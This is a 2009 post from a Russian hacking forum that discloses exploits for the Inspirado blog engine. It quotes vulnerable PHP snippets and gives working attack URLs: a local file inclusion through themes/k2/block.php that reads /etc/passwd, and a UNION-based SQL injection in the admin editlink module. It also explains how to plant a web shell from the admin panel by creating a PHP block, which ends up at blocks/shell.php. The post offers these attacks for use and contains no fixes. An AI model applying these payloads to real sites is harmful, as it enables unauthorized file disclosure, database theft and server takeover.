16.11.2009, 21:16
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами:
9285506
Репутация:
1463
|
|
Inspirado (blog engine)
Released 02/02/2009
http://inspirado.sourceforge.net/
LFI
themes/k2/block.php
themes/vistacolors/block.php
PHP код:
<?php include "./blocks/".$blog_blockfile ?>
http://localhost/inspirado_1/themes/k2/block.php?blog_blockfile=../../../../../../../../etc/passwd
SQL
admin/index.php
PHP код:
include "./structure/theme.php";
admin/structure/theme.php
PHP код:
<?php include "./modules.php"; ?>
admin/modules.php
PHP код:
case "editlink":
include "./structure/editlink.php";
admin/structure/editlink.php
PHP код:
$linkInfo=getLinkInfo($_GET)
admin/lib/functions.php
PHP код:
function getLinkInfo ($id) {
$link = dbQuery("SELECT * FROM ".DBPREFIX."headlinks WHERE id=".$id);
$link = mysql_fetch_array($link,MYSQL_ASSOC);
return $link;
http://localhost/inspirado_1/admin/index.php?m=editlink&id=-1+union+select+1,2,version(),user(),5
шелл льется из админки
Administration Panel => Widgets => Create PHP block
искать в
http://localhost/inspirado_1/blocks/shell.php
|
|
|